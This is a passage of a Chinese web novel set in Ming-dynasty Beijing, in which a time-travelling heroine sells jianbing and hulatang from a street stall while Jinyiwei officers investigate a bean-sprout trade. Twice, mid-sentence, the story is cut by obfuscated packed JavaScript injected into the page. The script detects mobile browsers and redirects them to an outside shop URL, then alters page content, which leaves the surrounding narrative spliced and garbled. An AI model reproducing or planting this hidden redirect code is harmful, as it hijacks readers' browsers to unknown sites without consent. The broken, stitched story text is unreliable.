无论如何，姜至始终保持着稳定和煦的态度：“咱们摊子一直在这儿，客官得空了再来尝尝。” 那人原本因囊中羞涩而尴尬，在姜至喜口中却变成了他忙着其他事情，心中一松，盘算着等赚过钱，自己定要买一份尝尝。 一个早上，摊前的食客就没断过。 姜洪负责收钱，装铜板的布袋子越来越满，眼看着就要撑破，他脸上的笑意也藏不住，嘴角快要咧到耳根子。 因着第一日尝试，只备了一盆面糊，不到半个时辰就见了底，还是姜至喜见势不对，提前留下一些，才没有让晚来的老婆子走了空。 “大哥，这下咋整？” 风水轮流转。 昨日还门庭若市的豆芽摊，今儿个却冷清得连个鬼影都不见，反倒是姜家摊位再次爆火。 街对面，薛三一双三角眼死死盯着姜洪兄妹，却又忌惮之前的衙役不敢上前。 一个住窝棚的孤儿，除了有把子傻力气，凭什么这般嚣张？ 他猛地将手里的匏瓢掼在地上，恶狠狠道：“你们在这儿盯着，我去趟薛总旗那儿！” 暂时先让他们再得意会儿，等回去之后，他看他们还能去哪找衙役撑腰！ 薛三计划得很好，谁知刚迈出一步，方才那几个衙役就拦住了他的去路。 为首的晏几挺着吃饱的肚子，打了个饱嗝：“兄弟们来活了，去把兵马司的兄弟叫来，就说这儿有几个没有摆摊许可帖子的，让他们把人关进去！” 14. 第 14 章 第14章 薛三那帮人的下场，姜至喜无心理会。 今日之事，并非她一时冲动，而是经过深思熟虑的筹划。 因着豆芽菜赚钱，他们兄妹惹了巷子里不少人的眼。 和做吃食不同，吃食做得好，旁人只会觉得是你的本事，可这生豆芽的法子，说穿了谁都能学，于是便有人觉得姜家走了狗屎运，换作他们照样能成。 听着很是可笑，然这就是人性。 这些天，姜至喜不止一次察觉到有人在他们家附近徘徊，以至于出门时总是叮嘱珍姐儿不要随意开门，还给陈氏送了些豆芽菜，请求对方帮忙照看一二。 没办法，姜家现在还是太弱小了。 姜至喜心中叹了口气，但并未因此感到气馁。 她所求向来简单。 无论上辈子还是这辈子，不过一方安稳屋檐，三餐温饱，二三知己围炉夜话。 路要一步一步走，饭要一口一口吃，她相信只要脚踏实地，自己肯定能在这偌大京师，挣出一片天地。 时下百姓多淳朴，即便精明如商人，也不过做些“折让”、“广告”等吸引客人。 因此，得知大都角头有人买吃食送法子，百姓们纷纷赶了过来。 结果就听到那容貌秀丽的小娘子歉意道：“今日面糊已经卖空了。” “什么，我才刚过来？！” “哎呀，让你走快点，这下好了，吃不到咯！” 还有人眼珠子一转，询问能不能单独买他们的油纸。 姜至喜……当然是毫不犹豫婉拒了。 这“法子”油纸可是她宣传的噱头，若是随随便便就卖了，哪还能引得客人日日来光顾？自然得吊着他们的胃口才行。 那人听了这话，脸上露出几分遗憾，不过倒也未纠缠，只心中已经暗自打算明日要早些过来。 待送走了最后一位排队的食客，忙碌了一早上的兄妹终于有时间坐下休息，姜至喜用剩下的配菜做了一个“菜卷炸猪柳”，先垫一下唱空城计的肚子。 顺手给隔壁的王大也卷了一个。 “方才多亏了王大哥仗义执言，没了饼皮，还希望王大哥不要嫌弃。” 王大早就被这香味勾得馋虫直冒，当下不再推辞地接过来。 他知道好吃，但真正吃到嘴里，还是低估了好吃程度。 生菜卷的果子更像是烤肉，在饼铛上煎过的猪肉柳，时间久了，外皮变得焦香酥脆，内里肉汁却仍丰盈，趁热用冰凉脆嫩的生菜叶一裹，一口下去，拉起纤细的肉丝。 王大吃的连道谢都忘记了，待最后一点豆芽下肚，他才意犹未尽地舔舔手指，由衷赞道：“我觉得你们卖煎饼果子更好！” 这话说得真心实意，姜家兄妹身上有种特别的气质，尤其是姜至喜，即便遇到薛三那样的恶意逼迫也始终从容不迫，总让人觉得她做什么都会成功。 姜至喜笑了笑，坦然接受赞扬。 因为她也这么认为。 姜至喜不是个傲慢的人，但良好的教育赋予了她骨子里的从容自信，那股由内而外的笃定气质，才让王大不自觉地信服。 方才笼统计算了下，今日准备的一盆面糊全部做成了煎饼果子，共计四十五个。 其中普通款煎饼果子卖出去十五个，加豆芽的卖出去五个，倒是加里脊肉的卖出去二十五个，进账三百二十五文。 煎饼果子的成本比黄豆芽高，但也没有高多少。 首先葱花等配菜都是姜至喜自己菜园里生长的，肉价贵，但她用在兰州拉面师傅那儿进修的手艺，把里脊肉切得薄如蝉翼，别看乘着一大筐，实际只有二斤肉。 此外还有油盐酱料，用来热饼铛的石炭，从解家胡同的王二麻子那儿买的油炸桧。 最贵的大概就是那份用来“润笔”的便宜笔墨，饶是如此，也有一百五十文的利润！ 而且这只是一早上，对比四日才能卖一次的豆芽菜，姜至喜忍不住感慨，果然自古以来，小食摊都是闷声发财的生意！ 这让她更加坚定了摆摊的想法。 简单垫饱肚子，卖完东西的兄妹二人收摊回家。 抽掉木板，用水浇灭了小炉子的火。 面盆和陶罐和竹篮就更为方便了，直接往大筐里一摞，姜洪弯腰握住独轮车的把手，轻轻一抬，小食摊秒变独轮车。 天色大亮，街上的热闹程度更胜一筹，兄妹二人不急于赶路，便推着车缓步前行。 心情不错的姜至喜甚至有空闲留心观察京师的人文景致。 或许是为了方便规划，内城的建筑多是青瓦白墙，乍然一看整齐又干净。 临街的铺面门脸不大，门板皆可拆卸，内里却别有洞天。 期间，她注意到其中一座特殊的房子。 只见那铺子的屋顶一侧竖着一个砖砌的大烟囱，冒着袅袅白烟，门口各色人进进出出。两侧悬挂着一个醒目的红灯笼和一只大木壶，大白天的，灯笼并未点亮，在北风中摇摇晃荡。 这般装饰，难道是间汤饮铺子？ 直到她看见几个从里面出来的人，脸色红彤彤水润润，走到“茶水”摊前买姜茶，才恍然大悟。 原来是古代的澡堂啊！ 姜至喜不由想起自己的“去虱”梦想，暗自把地方记下，计划着下次带家里人过来。 行至二条胡同，她停下脚步：“大哥，你先去买明日需要的食材，对了，再买点儿干木耳，花椒和胡椒粉。” 她记得后两样在古代可不便宜，所以只要了一点点。 姜洪性子虽直，但有个好处就是从不干预妹妹的决定。他一一记下要买的东西，又特意复述了一遍确保无误：“喜姐儿可是要做吃的？” 姜至喜点点头。 原是今日摆摊，她见许多食客都是买了之后直接在路上吃，煎饼果子虽结实打饱，但却是实打实干粮，噎住反而不美妙，或许可以搭配一些汤水。 喜姐儿手艺好，今日的煎饼果子更是卖出去不少，姜洪对她自是信服的。 只是他实在好奇：什么吃食需要用到花椒和胡椒粉？ 胡椒他没见过，但花椒却是知道的，那东西麻嘴得很哩！ 喜姐儿莫不是说错了？ / 对于姜洪的疑惑，姜至喜并没有解释。 因为她也不知道要如何解释，自己会做河南那边的民间小吃，胡辣汤。 索性含混过去，毕竟船到桥头自然直。 而选择做胡辣汤，也是姜至喜仔细挑选的结果。 无论是开通了丝绸之路的汉代还是海运发达的明代，胡椒作为外来物种，价格都非常昂贵，她虽然不是历史专业，可谁让她有个史同闺蜜呢？ 起早贪黑的和她八卦明代大佬们的八卦，什么朱重八钩子文学，什么大明第一魅魔张居正。 还有：震惊，木匠大师竟是弟控？不爱朝政爱打仗，且看中国史上第一个不让吃猪的皇帝！ 姜至喜：“……” 我文化低别骗我。 闺蜜：“这我可没骗你，这位武宗一生不羁爱自由，据史料记载，武宗为了学习外语，趁杨廷和回家为父守孝，居然跑到居庸关打仗，对了，杨廷和你知道吗，武宗的相好，两人还有一个孩子叫杨慎……” 到后面，电话那头传来闺蜜亢奋的尖叫：“啊啊啊好想穿回明代，亲眼见证这些大佬的爱恨情仇！” 结果闺蜜没穿，反倒是姜至喜穿到了明代。 不过以她现在的身份，别说验证这位猪猪皇帝是否真的会外语，便是两人见一面都无可能。 好在闺蜜那些“学杂了”的历史知识中，挑挑拣拣，还是能够挑出些有用的东西。 譬如姜至喜就知道，明朝曾用胡椒、苏木折抵俸禄，甚至规定“胡椒每斤准钞一百贯，苏木每斤准钞五十贯，南北二京官各于南北京库支给”。 可想而知胡椒有多么昂贵。 这种情况下，胡辣汤能在河南流行，甚至一度成为百姓的日常选择，难道说明河南的人比京师有钱？ 或许有这方面原因，但最真实的原因是，明朝的胡辣汤里根本没有多少胡椒！ 咳，和老婆饼里没有老婆，夫妻肺片不是真夫妻似的，明朝做的胡辣汤，以生姜打底，花椒增味，茱萸辅助，最后再用胡椒点睛。 依靠朴实的本土食材做出“辛辣”味道，用少量胡椒粉提升口味，极大契合了普通百姓的消费能力，如此才能在民间流行起来。 姜至喜准备做的就是这种“删减版本”的胡辣汤。 不过做汤之前，还有另外一件事情需要处理。 循着路人指点，姜至喜和姜洪分开后，一路找到了徐掌柜的食肆。 这间开在安定门胡同里的食肆，虽不在主街，但因靠近城门，来往人流量大，生意很是红火。 之前都是姜洪过来送货，姜至喜还是第一次过来。 铺子面积不大，摆着七八张木质桌椅，椅面铺着粗布垫子，显露出几分舒适的朴实。 这会儿时辰未及午时，生意不算温火，只靠窗的位置坐着三两食客，姜至喜打眼一瞧，桌子上是一碟炒肝和豆腐豆芽。 看来是个小炒食肆。 有小二迎上来，热情问：“客官吃点什么？” 姜至喜收回视线：“我找你们掌柜有些事。” 小二：“那您在会儿稍等。” 没一会儿，徐掌柜从食肆后面出来，看到姜至喜后还有些诧异：“姜小娘子怎么过来，今日好像还不到送黄豆芽的时日。” 姜至喜顿了顿，有些不知该如何开口。 她理了理思绪，而后将之前签订的纸契拿出来，又把薛三找茬、自家放弃豆芽菜生意转卖吃食、并促销“送赠品”的事情一一说来。 末了道歉：“此事原是我们单方面违了约，之前送来的豆芽菜您尽管收下，我们分文不要，还有这个，是发豆芽的方子，也一并送给您，权当赔罪了。” 其实她大可以佯装不知，毕竟隔着两条街，徐掌柜未必知晓大都角头的事情。可思来想去，她还是选择了坦诚相告。 人活一世，有所为有所不为。但求问心无愧罢了。 哪料徐掌柜并没伸手有接，而是在听到她的解释后大笑起来。 “我还以为是何事，实话不瞒你说，这发豆芽的法子我年轻时候就见过，自家也曾发过。” 闻言，姜至喜怔住：“那您为何……”说到一半，她突然反应过来，暗骂自己陷入思维误区，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜至喜秉持着不偏不倚，每个人都分了一部分钱。最后当着两人的面，把剩下的钱则一分为三，藏在床下的老鼠洞里。 “有福同享，有难同当，往后谁缺钱了，就从这个‘小金库’里支，不过只能花自己的那部分。” 不要是一回事，她却不会据为己有，能者多劳，就当自己先替两人保管吧。 想起什么，姜至喜又额外数出三十文给珍姐儿：“你拿着布和棉花去林婶家，问林婶能不能帮我们做条棉被。” 珍姐儿点了点头，正好听着外面传来货郎的叫卖声，顿时欢呼一声，高高兴兴出了门。 与此同时，安定门卫所迎来了两个不速之客。 “这可是你们卫所流出去的豆芽菜？” 程磊从怀中取出一个布包，随手扔到地上。 林总旗只是个总旗，被同知大人匆匆叫来，本就心中忐忑，待看清布包里的东西时，冷汗霎时淌下来。 他还以为是姜家孩子卖菜的事发了，以至于没有注意到身旁薛总旗的异样。 扑腾一声跪倒在地：“大人明鉴，那姜家月前父母双亡，只剩几个孩子相依为命，生活困苦，实是活不下去才想了这么个法子换点口粮！” 闻言，同知脸色铁黑。 底下军户生活不下去，偷偷做点小买卖补贴家用的不少，平日也都是睁一只眼闭一只眼，但现在锦衣卫都找上门了，事情就非同小可。 好在只是几个毛头孩子，同知心下飞快盘算，正想着如何撇清干系，冷不丁听到另外一位更为年轻的锦衣卫声音：“姓姜？不是姓薛？” 扑腾，这下薛总旗也跪下了。 同知：“……” 从卫所出来，程磊便叨叨絮絮：“那林总旗倒有点儿真情，姓薛的看着并未说实话，他侄子偷卖豆芽菜一事，他必定知晓。” 沈秀指尖捻着一枚松子糖，随意抛接着，对他的话不置可否。 “不过他应该和探子无关，接下来要不要去那个姜家看看？ 沈秀依旧没吭声。 程磊无语，忍不住捅了他一下：“现下又无旁人，你小子别在这儿故弄玄虚，到底怎么想？” 松子糖“啪”一声落入掌心，沈秀终于把糖塞进嘴里，一脸“你是榆木脑袋吗”的鄙夷：“那探子既买豆芽菜，显然是个会自己开火做饭的，还得有点闲钱，蹲在卫所能查出什么？明日一早，去坊市口蹲着。” 程磊恍然大悟：“有道理！” 怪不得头儿让自己带着这小子，聪明是真聪明，就是那副爱答不理、看傻子似的眼神，有时候真让人牙痒痒。 想到这里，程磊一把搂过沈秀的肩膀：“那明日沈小公子再陪我走一趟呗，到时候哥哥去请你去吃酒。” 沈秀被他搂得别扭，肩膀一抖甩开他的手，板着脸吐出三个字：“聚欢楼。” 程磊嘴角一抽，暗骂这小子真会挑地方，那可是京师数一数二的大酒楼。 嘴上应承着“行行行”，心里却已经开始肉痛。关键还不能用其他糊弄，谁让沈秀长了一张饕餮嘴呢。 15. 第 15 章 第15章 另一边，姜至喜不知道自己险些被锦衣卫盯上。 珍姐儿一走，炕上的小妹就醒了，哼哼唧唧哭着找人。 姜至喜不得上前将孩子抱起来，刚搂进怀里，一阵恶臭便扑面而来。 她表情一僵，意识到那是什么，只觉得头皮发麻，浑身汗毛立了起来。恰好姜洪走进来，姜至喜如见救星，动作迅速地把小妹交到对方怀里，自己一扭头钻进了厨房。 “那个，我去准备晌饭！” 比起养小孩，还是下厨更适合她！ 姜洪：“……” 在灶台前站定，姜至喜深深呼吸了会儿新鲜空气，确定没有半分异味，这才看向案板。 上面放着买回来的食材，两袋黄豆、一袋小麦、半篮子干木耳、两颗菘菜、两根赤根，这些堆起来像小山似的粮食冬菜，拢共也没花去多少银钱。 倒是那两小包花椒和胡椒，金贵得吓人，尤其是胡椒，一捻儿便要赶上菜蔬的价。 姜至喜后悔不已，早知道胡椒这么贵，她应该在菜园里种点儿胡椒树，何必像现在似的，用汤匙刮了小半匙还得心疼地抖三抖。 显然，这点儿东西想做出浓烈的辛辣味是不行的。 于是她拿起刀，“咄咄咄”将几片老姜、小把茱萸、十几粒花椒并两瓣蒜，利落地剁成碎末，和胡椒混在一起，颜色是五彩缤纷。再加入盐葱酱油香油等调料，做成“家庭版”辛辣汤底。 所谓“家庭版”，还是姜至喜跟着奶奶学的。 姜奶奶是个奇女子，她并非本地人，而是早年从河南逃荒来的“流民”，颠沛流离中遇上了姜爷爷，两人互相看对眼，这才在姜至喜老家扎根安定下来。 记忆中，姜至喜从小就吃过很多河南菜。烩面、胡辣汤、菜莽、炸八块、三不沾。 而胡辣汤是她最偏爱的。 冬日清晨，捧着一碗奶奶熬的汤，辛辣粘稠的汤汁滑下喉咙，一股暖意从胃里升腾起来，瞬间驱散周身寒气，别提有多舒服了！ 对于这道菜的做法，姜奶奶也极其随性，用她的说法是：“穷人家哪里讲究那么多，家里有什么就放什么，只要能吃饱比什么都重要。” 姜至喜觉得很有道理。姜家现在的情况，可不就是有什么吃什么吗？ 她依着记忆，先把干木耳泡发，干瘪的枯黑菌菇干，吸饱了水后，变成滑溜饱满的“黑胖子”，菘菜和萝卜切成细条，再洗点儿新鲜的黄豆芽。 得益于这豆芽生意，如今姜家虽不宽裕，但豆芽总算是不缺了，兄妹几个的脸色也渐渐有了些活泛气。 姜至喜打开粮食桶上的盖子，从里面舀了一勺白面活成团，找一快衬布盖上发醒。趁着这个空档，她又开始张罗明日出摊要用的各样食材。 有了经验，这次速度快了许多，不到两刻钟便备好。 大门打开，珍姐儿蹦蹦跳跳从外面回来，手上拿了一串糖葫芦。 “二姐，林婶说这几天就能把被子缝好。” 时下做一床棉被需要六七日，眼看要到冬三九，陈氏记挂几个孩子，便想着夜里赶个工。 姜至喜心里清楚这一点，她点点头，记下了这个恩情，想着日后定要从别处找补回来。 人情便是如此，有来有往，关系才能维持下去。 “二姐你回头。” 倏然，一个冰凉圆润的东西轻轻触及双唇。 珍姐儿举着糖葫芦，小脸笑嘻嘻的：“一根糖葫芦有六颗山楂，我特意从货郎那儿挑了最大的一个，二姐大哥一人分两颗。” 姜至喜一愣，原来珍姐儿要钱并不是嘴馋，而是想要和家人分享。 心底某个柔软的地方被这猝不及防撞了一下，她张开嘴，薄薄的透明糖衣随着咔嚓声一下碎开。 牙齿先触及到山楂，这种艳红带着斑点的果子，天生具有欺骗性，一口下去，酸味席来，激得姜至喜舌根儿瞬间冒出津液，腮帮子跟着一紧。 不过很快，咬碎的糖衣在口中融化，甜味弥散，削弱了那份酸，连带着山楂都粘上了蜜味，酸甜可口。 姜至喜禁不住咔咔嚼起来，她从小吃硬糖之类的零食，都喜欢咬碎了吃。山楂果子软硬适中，口感有种沙沙感，糖渣混着果肉，咀嚼起来是一种嘎嘣脆的绵软。 最妙的是混着果肉纤维的细小颗粒感，摩擦着舌尖，酸甜的汁水顺着喉咙往下走，生津开胃。 咽下果肉，她笑道：“我也做了个新鲜吃食，等会儿珍姐儿帮我尝尝味道如何？” 珍姐儿早就期待着了，迫不及待点头：“那我来帮二姐烧火。” 说罢蹲到灶台口，熟练地用脚踩断树枝，往下一蹬，咔嚓，伴随着火苗爆裂的动静，续到炉子里。 见小姑娘这般积极，姜至喜没有拒绝。 她自个儿继续去做胡辣汤。 面已经醒好了，往盆里加入清水，清澈的水淹没面团，仿佛盖了一层柔纱。接着，她伸出双手探入水中，居然像揉洗衣裳似的揉搓起面团。 这一举动看得珍姐儿眼睛都瞪圆了，随着姜至喜的动作，面团服服帖帖在掌间滑动、变形，发出细微的咕唧声。 她下意识屏住呼吸，一眨不眨地盯着二姐的手，仿佛在看什么戏法。 很快，清水在揉搓下渐渐变成乳白色的浆汁，再看不见盆底，原先的面团则洗的软塌黏糊，表面布满了细密的蜂窝眼儿。 姜至喜解释：“这一步叫洗面，目的是为了洗出面团中的淀粉，不要小瞧淀粉水，等会儿可是有大用呢。” 抽出一条襻膊，利落地绕过颈后，两端各套住腕子向上一拉，衣袖便听话地提至肘间，露出两条纤细小臂。 姜至喜端起之间切好的配菜，囫囵着倒进锅里，沸腾煮开后，再缓缓淋入先前备好的淀粉水，一边搅一边淋，肉眼可见的，锅里的汤汁变得晶莹浓稠起来。 等到倒料汁时，她看到碗里的面筋，突然一拍脑袋。 竟然把这东西给忘记了！ 连忙捞出面筋，用手指扯成薄片，一点点下入锅中，过程中不断用筷子转圈儿搅拌，布满蜂窝的面筋像小鱼似的在水里游动，差不多十多个数，一锅辛辣粘稠的胡辣汤便做好了。 这道简单到珍姐儿都会做的菜，再次受到了姜家兄妹的喜爱，于是第二日摆摊，除了两盆面糊，姜至喜还多备下了一大桶胡辣汤。 前几日出摊都是姜洪一起照看，眼看生意步入正轨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991814|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，今天到达地方后，姜至喜干脆让对方去忙卫所的事情。 她独自一人收拾摊位，刚把饼铛支稳，便觉光影一暗，已有食客停在了摊前。 陈述呼吸略显急促，发髻与眉梢凝着一层未化的白霜，显然是疾步赶来。 他稍稍平复了气息，这才拢了拢衣袖，温声道：“劳烦小娘子，与在下两个加里脊的煎饼果子。” 今日不需上朝，陈述原是可以晚些出门。 只因昨日散值归家，他心中惦念着煎饼果子的滋味，和小娘子堪称“义举”的行为，特意绕路想来再买上一份，谁知赶到大都角头时只看见街角空荡荡的，煎饼摊早没了踪影。 还是旁边豆腐摊的商贩告诉他，那煎饼果子生意火得很，摊主一早就卖完收摊回去了。 生怕再度错过，这位年轻编修索性起了个大早，踏着晨露匆匆赶来。 姜至喜也认出了眼前这位青年。 昨日对方过来时，双眉紧蹙，面色凝重，盯着饼铛的模样活像在看杀父仇人，让她心里好一阵嘀咕，生怕是来找茬的。 不过一日之隔，青年再度出现，这次一开口就要两个煎饼果子。 姜至喜心中暗自高兴，没有什么比虏获食客的心更让人开心的，她快速做了两个豆面夹里脊的煎饼果子，又舀了一碗胡辣汤一齐递过去：“今日推出新品，这碗胡辣汤免费赠与相公。” 陈述未曾想还有这般际遇。 他对胡辣汤不感兴趣，但小娘子的一番好意实在不忍推拒，便也礼貌地道了谢，将那碗胡辣汤倒进自己的锡壶中。 后面煎饼果子摊的人越来越多，忙时竟排起队伍，看到这番情形，早早过来的陈述免不得庆幸又自得。 他可是今日头一个买到的！ 收好热腾腾的煎饼果子，陈述拦住路边的轿夫，径直朝着翰林院而去。 / 卯时初，京师各处府邸陆续敞开门房。 位于东长安街的翰林院也不例外，“门子”推开沉重的朱漆大门，洒扫庭院，点亮灯烛。 不过片刻，便有官员们陆陆续续抵达，彼此拱手作揖，寒暄几句，然后各自步入廨署处理公务。 都说状元是文曲星下凡，身份尊贵，前途无量，可在这翰林院里，最不稀罕的就是状元，那话怎么说来着？随便扔颗石子，砸中的都是状元探花！ 陈述作为二甲进士，在人才济济的翰林院中，实在不算起眼。 加之他资历尚浅，性子低调老实，平日里只会安安静静待在自己的位置上做事，像一株莠草似的毫不惹人注意。 可今儿一进翰林院，陈述就隐隐觉得有些不对劲。 往常同僚们见了他，顶多点头致意，今日却有好几道目光在他身上多停留了片刻，带着点儿说不清道不明的意味，每每等他回视过去，对方又若无其事移开。 他心里打了个突，忙低头查看自己的袍服鞋帽，并未发现有何不妥，只得按下心中疑虑，快步走到自己的位置坐下。 翰林院辰时上值，这会儿未到正式办公的时辰，廨署中同僚三三两两聚在一处，或闲谈说笑，或是吃着带来的早膳。 陈述静坐片刻，也伸手打开了自己的食盒。 16. 第 16 章 第16章 时下食盒多为漆盒，保温效果极佳，打开后，左边放着他买的煎饼果子。 右边则放着摊主赠送的胡辣汤，热气腾腾，闻着味道比煎饼果子更要浓烈。 但陈述犹豫片刻，还是先拿起了煎饼果子。 他这人性子保守，不喜尝试新东西，煎饼果子很是符合他的口味。 拿着油纸慢慢咀嚼，同样的东西，每吃每有新味。酱汁涂满煎饼，佐料挤着佐料，满满的一大口，便争先恐后往嘴里跑。 猪柳软嫩、鲜香，果篦儿酥脆、油润，菜蔬更是水嫩多汁，不是往常的草味，清爽之外，又有明显的回甘。 吃的陈述开始怀疑自己以前怎么没发现叶子菜这么好吃。 怕吃不饱，陈述这次买的煎饼果子里额外加了两根油炸桧。 这东西也是刚炸的，单闻味道油香十足，只不过太油腻，吃多了嗓子眼都要糊住了。 所以陈述平日很少吃。 可当它被裹进煎饼果子里，一切都不同了。 热腾腾的煎饼让油炸桧逐渐“软化”，边缘保持微脆，内里却已经熏软，蓬松的气泡吸饱了酱汁，变得韧软而有嚼劲。 大口大口吞咽，哪里还有油腻感？反而是吸收了酱料的味道，与豆面香相互衬托，口感无比丰富。 两个煎饼下去，陈述腹中有了饱腹感，只是嘴里难免干涩。 他的目光不由落向那碗胡辣汤，犹豫片刻，还是端起来小心地抿了一口。 刚入口，一股强烈的辛辣便直冲喉头，陈述毫无防备下，被呛得连连咳嗽，连眼角都泛了泪。 嘿！ 那商贩小娘子做的汤，也忒辛了吧！ 心里念念叨叨，虽如此，陈述却并未放下，方才那一下子被呛得厉害，但尝到的滋味却着实特别，是他从未吃过的味道。 他定了定神，再次端起碗。 这次有了准备，陈述没有再被呛到，胡辣汤汤底棕黄，因加了淀粉水，只看外表，浓稠如浆，随着动作微微晃动时，汤水沾到碗壁，而后缓缓挂壁。 可这样其貌不扬的汤，入口却是惊为天人。 随着滚热的稠液滑下喉咙，霎那间，陈述仿佛尝出了百种滋味。 胡椒的辛，茱萸的辣，花椒的麻，淀粉的稠，齐齐扑面而来，四者在舌尖纠缠，融合，最后彼此衬托，不仅不突兀，反而让汤酸香鲜醇，厚润绵长。 胡椒开道，待冲劲的辛辣散去后，便是各种香料的回甘，陈述一边喝汤，一边吃菜，里面配菜也极其丰盛，简单一瞧，便有菘菜、萝卜、木耳、豆芽。 菘菜吸饱了汤汁，鲜美油亮，咀嚼起来软烂但不散。萝卜水分多，炖得透了心，牙齿一咬，汁水便“噗嗤”涌出来。 木耳切成细条，黑黢黢混在汤中，瞧着不起眼，吃起来倒是咯吱脆生。还有那豆芽，一芽两吃，黄豆粒酥烂粉糯，细嫩的银芽挺着脆骨，吃起来也脆，水灵灵的清甜。 此外，还有一种奇怪的片状面食，蜂窝似的蓬松，里里外外吸满了汤汁，滑嫩到舌尖一碰，就“出溜”逃走，竟成为陈述最喜欢的东西。 生姜和茱萸激起辣味，间以花椒胡椒生麻，本就是性温热的调料，炖进一锅汤里，一股暖流自喉间涌向四肢百骸，将浑身寒意驱散殆尽。 陈述哪里还记得一开始的嫌弃，喝的酣畅淋漓，惊喜不已。 没想到一个街边小食摊居然能做出如此美食，不由庆幸自己没有拒绝，一时间吃得更加津津有味，全然没有注意到周围情况。 直到一个温和的声音在旁边响起：“陈编修今日雅兴，带了这般香的吃食来。” 陈述抬眸，看到来人后，连忙站起身，拱手行礼：“费大人。” 来人是翰林院修撰费宏，成化二十三年的状元，前段时间因校阅试卷积劳成疾，告假归乡调养，如今官复原职，是同僚中的佼佼者，陈述一向敬重他。 费宏看着他桌上的食盒，目光在那碗胡辣汤上停了停，笑道：“这汤闻着倒是特别。” 陈述有些拘谨，听费宏问起，慌乱之下居然把汤往对方那边推了推，脱口而出：“费大人若是不嫌弃可以尝尝。” 话出口他就后悔了。 本是出于尊敬，没指望费宏真会喝，毕竟费宏的身份摆在那儿。 可万万没想到，费宏竟点了点头，笑着说：“好啊，看着确实不错。” “？” 天天个老爷，什么叫搬起石头砸自己的脚？ 哪怕心中悔恨不已，陈述也不得不找了个干净的小碗，小心翼翼地分了一半胡辣汤给费宏。 费宏接过碗，并没讲究，直接当着对方的面喝起来。 比起陈述，显然他是个能吃辣的，胡辣汤的辣口对他来说正对滋味，通透不烧胃。 咸味拖底，茱萸姜片带来醇厚的辛辣，花椒负责提味点睛，于是舌尖只有微微麻意，不至于失去知觉。 几口下去，鼻尖先泛起细密的汗意，而后呼吸变得暖烘烘。浓稠的汤羹挂着勺壁，裹着每一粒蔬菜不肯撒手。 恍惚间，费宏忽而想起少年时负笈游学的场景。 大雪凛冽，他与同行几人被困于荒郊驿亭，双脚冻得早已失去知觉，他出身世家，却第一次感受到百姓之苦楚。 那时瑟缩在快要熄灭的火堆旁，心中最炽热的渴盼，不过是有一碗能烫透肺腑的热汤。 若是天下老百姓人人手中都有一碗这样的热汤，该多好。 恍惚过后，费宏回过神，低头看向碗中。 虽然是汤，但其中的配菜可不少，木耳是脆爽的，豆芽带着点清甜，面筋则吸足了汤汁，嚼起来韧劲十足又饱满湿润，明明是普通到不能再普通的食材，却让人吃了还想吃。 若非周围还有其他人，费宏连最后一滴汤都想舔干净。 他不舍地放下碗，由衷赞叹：“这胡辣汤味道确实好。” 又看向陈述，询问道：“此羹可是陈兄所制？” 陈述摇摇头，他哪里有这般本事，刚要开口回答，突然听见廨署的门“吱呀”一声惨叫、转头一看，竟是几位同僚你推我挤，一不小心摔倒在地，被发现后，一个个面露窘色。 “……咳，那个，我们其实也想问问，这汤是哪儿买的。” “呵呵，没错，实在是闻着太香了。” 陈述：“……” 青年翰林面色变得古怪。 他从前只当这些同僚个个清冷自持、不重口腹之欲，如今却见他们为了一碗胡辣汤如此失态，莫名的，心中的紧张感不知不觉中消散许多。 他压下嘴角的弧度，一本正经回答：“这是安定门大街的一个小食摊，摊主是位小娘子，除了胡辣汤，她做的煎饼果子也特别好吃。” / 大都角头。 除了最初食客多的时候，姜至喜有些忙乱，后面过了最热闹的时辰，她逐渐适应节奏，一个人也游刃有余。 摊煎饼，收钱，净手，再摊煎饼。 邻摊的王大对她每做完一饼便要净手的习惯很是费解，只觉得这小娘子忒讲究。 直到瞧见顺天府衙的衙役特意巡至她的摊前，买了饼子不说，还称赞她这洁净做派。 “……” 默默把吐槽的话咽回去，暗下决心明日也得备上点儿油纸，做不到次次净手，用油纸垫着给客人切豆腐也是好的。 姜至喜并未意识到，自己不知不觉间已成了这条街上的风向标。 看到五六个衙役朝摊子走来，她从对面的汤饼铺子里借了两条长木凳置于摊子旁边，勉强作为歇息的地。 随即落落大方地迎上前招呼：“几位差爷辛苦！今日吃点什么？” 笑意可谓百分百真诚。 俗话说“县官不如现管”，这些衙役职位虽不高，可在这市 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和食肆中薄到透明的鸡蛋汤不同，姜记煎饼果子的小娘子实在厚道，胡辣汤里面放满了配菜，打眼一瞧就有四五种，一碗下肚，踏实顶饱。 衙役眼珠子转了转，计上心来：“你要不喝，我不介意帮你解决。” “滚滚滚！” 同僚赶紧端着碗躲开。 他还不信了，就算是x，他今日也要亲自尝尝咸淡！ 然后——“小娘子，再来一碗！” 姜至喜用一碗赠品打开了胡辣汤的生意，接下来陆续收到了五六份定钱。 晏几身为古代版富二代，见识比旁人广博些：“这是河南布政使司那边的吃食吧，你会做豫菜？” 姜至喜抿嘴一笑：“算不得精通，只是略懂一些皮毛。” 晏几闻言，倒是来了兴致：“那你可还会做其他地方的风味？” 姜至喜沉吟片刻，谨慎答道：“不知差爷指的是哪些？一些大的菜系民女不敢夸口，倒是各地街头巷尾的小吃，略知几样。” 她随口报了几样点心小食的名字，其中有的连晏几都未曾听闻，原本略带倨傲的神色缓下来，甚至忍不住偷偷咽口水。见状，姜至喜顺势说道，日后若有机会，会在摊上陆续推出这些新品。 这也是她一开始的打算。 